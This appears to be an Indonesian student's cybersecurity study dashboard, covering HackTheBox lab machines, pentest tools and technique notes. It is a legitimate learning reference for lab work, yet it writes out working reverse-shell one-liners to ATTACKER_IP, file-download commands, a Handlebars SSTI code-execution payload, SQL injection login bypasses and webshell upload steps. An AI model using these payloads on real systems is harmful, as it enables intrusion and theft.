RESPWN - CYBERSECURITY CONSOLE — oleh Paulus Miki Resa Gumilang, Miki Resa Gumilang, Miki Resa
Dashboard cybersecurity pribadi oleh Paulus Miki Resa Gumilang (mikiresa). Berisi HTB machine tracker, CVE dan exploit database, tools arsenal penetration testing, tradecraft referensi, dan credentials vault. Platform ini dibuat sebagai portofolio dan referensi belajar cybersecurity, dengan rencana pengembangan ke OSCP preparation notes, CTF tracker, blog writeup, dan cybersecurity learning path.
Tools Penetration Testing
- nmap — Network scanner untuk port discovery, service fingerprinting, OS detection. nmap -A -p- -Pn -T4 -sV -sC. Scan semua 65535 port TCP. Service version detection via banner grabbing.
- gobuster — Directory brute force, file enumeration, web fuzzing. gobuster dir -u URL -w wordlist. Alternatif ffuf dengan sintaks lebih sederhana.
- ffuf — Web fuzzer untuk directory, file, parameter brute force. ffuf -u URL/FUZZ -w wordlist. Filter response size dengan -fs, filter status code dengan -fc.
- smbclient — SMB client untuk enumerate dan akses Windows file shares. smbclient -L IP -N untuk list share anonymous. SMB enumeration, anonymous SMB access.
- ftp — FTP client bawaan Linux. Anonymous login dengan username anonymous. ftp client, anonymous FTP access, vsftpd.
- redis-cli — CLI client Redis. redis-cli -h IP untuk koneksi remote. Unauthenticated Redis access, port 6379, info command, keys *, config get.
- xfreerdp — RDP client Linux. xfreerdp /cert:ignore /u:Administrator /v:IP. Blank password RDP test, Remote Desktop access.
- mongosh — MongoDB Shell. mongosh mongodb://IP:27017. Unauthenticated MongoDB, show dbs, show collections, db.collection.find().
- rsync — File synchronization. rsync --list-only IP:: untuk list share. Anonymous rsync access, download tanpa autentikasi.
- telnet — Telnet client. Blank password test, root login tanpa password, misconfiguration.
- hashcat — Password cracking. hashcat -m 0 hash wordlist untuk MD5. Hash cracking dengan rockyou.txt. MD5, SHA1, SHA256, bcrypt, Argon2.
- sqlite3 — SQLite database client. Post exploitation database discovery. .databases, .tables, SELECT * FROM.
- ssh — Secure Shell. Lateral movement, proper interactive shell. Lebih stabil dari reverse shell.
- Wappalyzer — Browser extension tech stack fingerprinting. Identifikasi framework, CMS, versi software dari browser.
- BurpSuite — Web application security testing suite, proxy. SSTI payload encoding, URL encode, intercept request.
- curl — HTTP client. Response header analysis, web testing. curl -I untuk header only.
- netcat — Swiss army knife networking. Reverse shell listener nc -lvnp 4444. Bind shell, file transfer, port scanning. nc -e /bin/bash reverse shell payload.
- mysql — CLI client MySQL/MariaDB. mysql -h IP -u root tanpa password. Passwordless root, SHOW databases, USE db, SHOW tables, SELECT * FROM config.
- psql — CLI client PostgreSQL. psql -U user -h localhost -p 1234 via SSH tunnel. Meta-command \\l list database, \\c connect, \\dt list tabel.
- hydra — Password brute force dan password spraying. hydra -L users.txt -p password IP ssh. Mendukung SSH, FTP, HTTP, SMB, RDP. -L list username, -p single password untuk spraying.
- aws cli — AWS CLI untuk S3. aws --endpoint=URL s3 ls, s3 cp untuk upload. AWS S3 bucket misconfiguration, LocalStack dummy credentials, webshell upload.
- psexec.py — Impacket tool untuk shell Windows via SMB. psexec.py admin@IP. Shell NT AUTHORITY SYSTEM, Pass-the-Hash dengan -hashes, ADMIN$ share.
- responder — LLMNR NBT-NS MDNS poisoning dan rogue SMB server. sudo responder -I tun0. Capture NetNTLMv2 hash saat Windows autentikasi ke attacker.
- john the ripper — Password hash cracker CPU. john -w=rockyou.txt hash.txt. Auto-deteksi tipe hash, crack NetNTLMv2, /etc/shadow, --format paksa tipe.
- evil-winrm — WinRM shell client PowerShell remote. evil-winrm -i IP -u user -p pass. Port 5985, Pass-the-Hash dengan -H, upload download file.
Shell Snippets — Command Reference
Interactive TTY Shell
Upgrade reverse shell ke fully interactive PTY — wajib dilakukan setelah dapat shell agar su, editor, dan arrow key berfungsi.
- Python PTY Spawn — python3 -c 'import pty;pty.spawn("/bin/bash")'. Membuat pseudo-terminal via Python. Paling umum dipakai di HTB dan CTF. Python2: python -c 'import pty;pty.spawn("/bin/bash")'.
- Script Command — script /dev/null -c bash. Spawn TTY baru via utilitas script. Alternatif jika Python tidak tersedia.
- Bash Interactive Mode — /bin/bash -i atau /bin/sh -i. Shell interactive sederhana.
- Socat Full TTY — socat file:`tty`,raw,echo=0 tcp-listen:4444 di attacker. socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:4444 di target. Full TTY kualitas terbaik.
- Perl Spawn Shell — perl -e 'exec "/bin/bash";'. Alternatif jika Python tidak ada.
- Ruby Spawn Shell — ruby -e 'exec "/bin/bash"'. Spawn bash via Ruby.
- Awk Spawn Shell — awk 'BEGIN {system("/bin/bash")}'. Spawn bash dari awk.
- BusyBox Shell — busybox sh. Untuk container Docker atau sistem embedded minimal.
- stty raw echo TTY upgrade — python3 PTY spawn, CTRL+Z, stty raw -echo, fg, export TERM=xterm. Workflow lengkap upgrade ke full interactive terminal.
Reverse Shell Payload
One-liner untuk membuat koneksi reverse shell dari target ke attacker. Setup nc -lvnp PORT di attacker terlebih dahulu.
- NC Listener — nc -lvnp 4444. Netcat listener di attacker untuk terima reverse shell. rlwrap nc -lvnp 4444 untuk arrow key support.
- Bash TCP Reverse Shell — bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. Reverse shell paling umum via bash built-in TCP redirect.
- Python3 Reverse Shell — python3 socket subprocess os reverse shell one-liner. Lebih reliable dari bash TCP di beberapa environment.
- Netcat Reverse Shell — nc -e /bin/bash ATTACKER_IP 4444. mkfifo /tmp/f reverse shell untuk netcat tanpa -e flag.
- PHP Reverse Shell — php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/bash -i <&3 >&3 2>&3");'. Untuk web server dengan PHP command injection.
- Groovy Reverse Shell — ProcessBuilder("/bin/bash") + Socket(host,port) di Groovy/Java. Untuk Jenkins Script Console (/script) yang eval Groovy arbitrary. Sering shell langsung root. Windows: ganti /bin/bash jadi cmd.exe.
Port Forwarding
Akses service yang hanya listen di localhost target atau pivot ke jaringan internal lewat SSH tunnel. Cek service lokal target dengan ss -tln.
- SSH Local Port Forward — ssh -L 1234:localhost:5432 user@TARGET_IP. Forward port lokal attacker ke service localhost target (mis. database). -fN untuk background tanpa shell. host tujuan dievaluasi dari sisi target.
- SSH Dynamic SOCKS Proxy — ssh -D 1080 -fN user@TARGET_IP. SOCKS proxy untuk pivot ke seluruh subnet internal. Pakai dengan proxychains (socks5 127.0.0.1 1080). proxychains hanya TCP, scan pakai -sT.
- SSH Remote Port Forward — ssh -R 8000:localhost:80 user@ATTACKER_IP. Kebalikan -L, expose service target ke attacker. Untuk target di belakang NAT/firewall yang bisa outbound SSH.
File Transfer
Teknik memindahkan file antara attacker dan target — upload tools linpeas chisel atau download loot.
- Python HTTP Server — python3 -m http.server 8080. Serve file dari direktori lokal. python -m SimpleHTTPServer 8080 untuk Python2.
- wget Download — wget http://ATTACKER_IP:8080/file -O /tmp/file. Download file dari HTTP server attacker ke /tmp/.
- curl Download — curl http://ATTACKER_IP:8080/file -o /tmp/file. Alternatif wget untuk download file.
- Netcat File Transfer — nc -lvnp 4444 < file di attacker, nc IP 4444 > /tmp/file di target. Transfer via netcat jika HTTP tidak tersedia.
- Base64 File Transfer — base64 -w 0 file encode di attacker, echo BASE64 | base64 -d > /tmp/file decode di target. Transfer via copy-paste tanpa koneksi langsung.
CVE dan Exploit Database
- Telnet Blank Password — Telnet tanpa autentikasi, akun root dengan password kosong. Port 23. Misconfiguration klasik di service lama.
- Anonymous FTP Access — vsftpd anonymous login enabled. Login dengan username anonymous tanpa password. anonymous_enable=YES di vsftpd.conf.
- Anonymous SMB Share Access — Windows SMB guest access, null authentication. smbclient -N untuk null session. SMB Windows Server 2019.
- Unauthenticated Redis Access — Redis tanpa requirepass, port 6379 terbuka tanpa autentikasi. Expose semua data cache dan session.
- Default Credentials Admin Panel — admin:admin, admin:password, root:root. Default login panel administrasi web yang tidak diubah.
- RDP Blank Password — xfreerdp Administrator tanpa password. Remote Desktop Protocol tanpa password = akses desktop penuh.
- Unauthenticated MongoDB Access — MongoDB port 27017 tanpa autentikasi. mongosh tanpa credentials, show dbs, enumerate semua database.
- Anonymous rsync Access — rsync share tanpa autentikasi. rsync --list-only untuk list, download seluruh share tanpa credentials.
- CVE-2025-66478 — Next.js Remote Code Execution via Prototype Pollution. RCE Next.js, prototype pollution vulnerability.
- CVE-2025-29927 — Next.js Middleware Authentication Bypass. x-middleware-subrequest header, bypass autentikasi middleware Next.js.
- SSTI Handlebars Node.js — Server Side Template Injection pada Handlebars template engine. Payload: process.mainModule.require("child_process").execSync("cmd"). Node.js sandbox escape via global object. RCE via SSTI.
- SQL Injection Authentication Bypass — Payload admin'# atau ' OR 1=1-- - di form login. Tutup string username dan komentari pengecekan password. Root cause: query tanpa parameterized statement.
- Passwordless MySQL/MariaDB root — Akun root MySQL tanpa password, port 3306 terekspos. mysql -h IP -u root. SHOW databases, SELECT * FROM config.
- Credential Harvesting via Anonymous FTP — File userlist dan password list di FTP anonymous. Reuse credentials di web login. gobuster temukan login.php.
- AWS S3 Bucket Misconfiguration — Bucket S3 writable yang jadi web root. Upload PHP webshell via aws s3 cp. LocalStack terima dummy credentials. RCE.
- Magento Default Credentials — Admin panel Magento password lemah admin:qwerty123. Anti-bruteforce aktif, coba password umum manual. Flag di Advanced Reporting.
- Password Spraying + SSH Tunneling — 1 password ke banyak username via hydra hindari lockout. Default password dari policy PDF. SSH -L port forwarding ke PostgreSQL localhost.
- SMB Null Authentication — Administrator tanpa password via SMB. smbclient //IP/C$ -U Administrator. psexec.py shell NT AUTHORITY SYSTEM.
- LFI to NTLM Hash Capture — LFI di parameter page load SMB URL //IP/share. Responder capture NetNTLMv2 Administrator. Crack dengan john. evil-winrm WinRM shell.
- Jenkins Script Console Groovy RCE — Jenkins /script eksekusi Groovy arbitrary. Weak credentials root:password. Reverse shell payload ProcessBuilder Socket. RCE sebagai root.
- CVE-2026-23744 — MCPJam Inspector ≤1.4.2 Unauthenticated RCE (CVSS 9.8). Endpoint /api/mcp/connect menerima JSON {serverId, serverConfig:{command,args,transportType}} tanpa autentikasi/validasi dan mengeksekusi sebagai child process. Command Injection + Missing Authentication (CWE-77 + CWE-306). Default bind 0.0.0.0. Fixed di 1.4.3+.
HackTheBox Machines
- HTB Meow — Very Easy, Linux, Starting Point Tier 0. Telnet port 23, blank password root, misconfiguration. Tags: Telnet, Default Credentials, Blank Password.
- HTB Fawn — Very Easy, Linux, Starting Point Tier 0. FTP vsftpd 3.0.3 port 21, anonymous login. Tags: FTP, Anonymous Login, File Transfer.
- HTB Dancing — Very Easy, Windows, Starting Point Tier 0. SMB Windows Server 2019 port 445, anonymous share access. Tags: SMB, Anonymous, Windows.
- HTB Redeemer — Very Easy, Linux, Starting Point Tier 0. Redis port 6379, unauthenticated access. Tags: Redis, No Auth, Database.
- HTB Explosion — Very Easy, Windows, Starting Point Tier 0. RDP port 3389, blank password Administrator. Tags: RDP, Blank Password, Windows.
- HTB Preignition — Very Easy, Linux, Starting Point Tier 0. Web admin panel port 80, default credentials admin:admin. Tags: Default Creds, Web, Nginx.
- HTB Mongod — Very Easy, Linux, Starting Point Tier 0. MongoDB port 27017, unauthenticated access. Tags: MongoDB, No Auth, Database.
- HTB Synced — Very Easy, Linux, Starting Point Tier 0. rsync anonymous access. Tags: rsync, Anonymous, File Transfer.
- HTB Reactor — Medium, Linux. Next.js CVE-2025-66478 RCE Prototype Pollution, CVE-2025-29927 Middleware Auth Bypass. Tags: Next.js, RCE, CVE.
- HTB Bike — Easy, Linux. SSTI Handlebars Node.js, Server Side Template Injection, RCE, Privilege Escalation via Node.js inspector. Tags: SSTI, Node.js, Web.
- HTB Appointment — Very Easy, Linux, Starting Point Tier 1. Apache port 80, SQL Injection authentication bypass admin'# di form login. Tags: SQLi, Auth Bypass, Web.
- HTB Sequel — Very Easy, Linux, Starting Point Tier 1. MySQL MariaDB port 3306, passwordless root, SELECT * FROM config. Tags: MySQL, Database, Passwordless.
- HTB Crocodile — Very Easy, Linux, Starting Point Tier 1. FTP anonymous port 21, credential harvesting userlist, gobuster login.php, admin panel. Tags: FTP, Credential Harvesting, Web.
- HTB Three — Very Easy, Linux, Starting Point Tier 1. Apache port 80, vhost s3.thetoppers.htb, AWS S3 misconfiguration, PHP webshell RCE www-data. Tags: AWS S3, Webshell, RCE.
- HTB Ignition — Very Easy, Linux, Starting Point Tier 1. nginx port 80, virtual host ignition.htb, Magento admin default credentials admin:qwerty123. Tags: Magento, VHost, Default Creds.
- HTB Funnel — Very Easy, Linux, Starting Point Tier 2. FTP anonymous, password spraying hydra, SSH christine, port forwarding PostgreSQL secrets. Tags: Password Spraying, SSH Tunneling, PostgreSQL.
- HTB Tactics — Very Easy, Windows, Starting Point Tier 2. SMB port 445, null authentication Administrator, C$ share, psexec.py SYSTEM shell. Tags: SMB, Null Auth, Windows.
- HTB Responder — Very Easy, Windows, Starting Point Tier 2. Apache PHP port 80, LFI parameter page, Responder NetNTLMv2 capture, john crack badminton, evil-winrm WinRM. Tags: LFI, NTLM, WinRM.
- HTB Pennyworth — Very Easy, Linux, Starting Point Tier 2. Jetty port 8080 Jenkins, weak credentials root:password, Script Console Groovy reverse shell, RCE root. Tags: Jenkins, Groovy, RCE.
- HTB DevHub — Medium, Linux (Ubuntu). Ports 22 SSH, 80 nginx 1.18.0, 6274 MCPJam Inspector. CVE-2026-23744 Unauthenticated RCE via /api/mcp/connect command injection. Lateral movement via Jupyter Lab REST+WebSocket. Privilege escalation via OPSMCP hidden endpoint ops._admin_dump → SSH key root. Tags: MCPJam, Model Context Protocol, Unauth RCE, Jupyter Lab, WebSocket, Hidden Endpoint, SSH Key Leak.
Tradecraft — Teknik Penetration Testing
- Full Port Scan — nmap -p- scan semua 65535 port TCP. --min-rate 1000.
- OS Fingerprinting via Ports — Port 135+139+445 Windows SMB NetBIOS. Port 22 Linux. Port 3389 RDP Windows.
- HTTP Header Analysis — X-Powered-By, Server header, framework detection dari response headers.
- Tech Stack Fingerprinting — Wappalyzer untuk identifikasi framework dan versi.
- Default Page Detection — Nginx Apache default page, server baru belum dikonfigurasi.
- Directory Brute Force — ffuf gobuster wordlist common.txt raft-medium, hidden admin panel, file PHP.
- CVE Research — NVD, GitHub Security Advisories, exploit-db.com. Cari exploit setelah fingerprinting versi software.
- Next.js Build Manifest — /_next/static/BUILD_ID/_buildManifest.js untuk daftar route.
- Telnet Blank Password — root admin administrator dengan password kosong.
- Anonymous FTP Login — username anonymous password kosong.
- SMB Share Enumeration — smbclient -L list share, null authentication.
- RDP Blank Password Test — xfreerdp Administrator Enter kosong.
- Redis Unauthenticated — redis-cli connect tanpa password, info, keys *, get.
- MongoDB Unauthenticated — mongosh tanpa credentials, show dbs, collections, find.
- rsync Anonymous Access — rsync --list-only, download share tanpa auth.
- Default Credential Testing — admin:admin admin:password root:root.
- Input Reflection Testing — XSS SSTI CRLF injection, payload berbeda per engine.
- Stack Trace Analysis — error server bocorkan path file, framework, versi, nama function.
- SSTI Detection — payload {{7*7}} ${7*7} <%=7*7%>, jika server eksekusi = SSTI ada.
- URL Encoding Payload — BurpSuite Decoder encode as URL, karakter { } space = harus di-encode.
- SSTI Handlebars RCE — process.mainModule.require("child_process").execSync("cmd").
- Node.js Sandbox Escape — process.mainModule.require() bypass sandbox.
- Database Discovery — find . -name "*.db" *.sqlite *.sqlite3 setelah dapat shell.
- Hash Identification — 32hex MD5, 40hex SHA1, 64hex SHA256, $2b$ bcrypt, $argon2 Argon2.
- Password Cracking — hashcat rockyou.txt MD5 tanpa salt crack detik.
- Lateral Movement via SSH — credential → SSH untuk interactive shell.
- Sudo Enumeration — sudo -l, GTFOBins, command dijalankan sebagai root.
- SUID Binary Hunt — find / -perm -4000 -type f, GTFOBins privilege escalation.
- Process Enumeration — ps aux, proses root, flag --inspect, vektor privesc.
- Node.js Inspector Exploit — Root process --inspect → SSH tunnel port 9229 → CDP Runtime.evaluate → RCE as root.
- LXD Group Privesc — user group lxd, create container mount host filesystem.
Dibuat oleh Paulus Miki Resa Gumilang. Kontak: hi.mikiresa@gmail.com. LinkedIn: linkedin.com/in/mikiresa. Instagram: @mikiresa_. Discord: discord.gg/DJ2vTVRdQn. YouTube: youtube.com/channel/UC4AbyWi616EWB8OCUOVQSFQ. HackTheBox: profile.hackthebox.com.
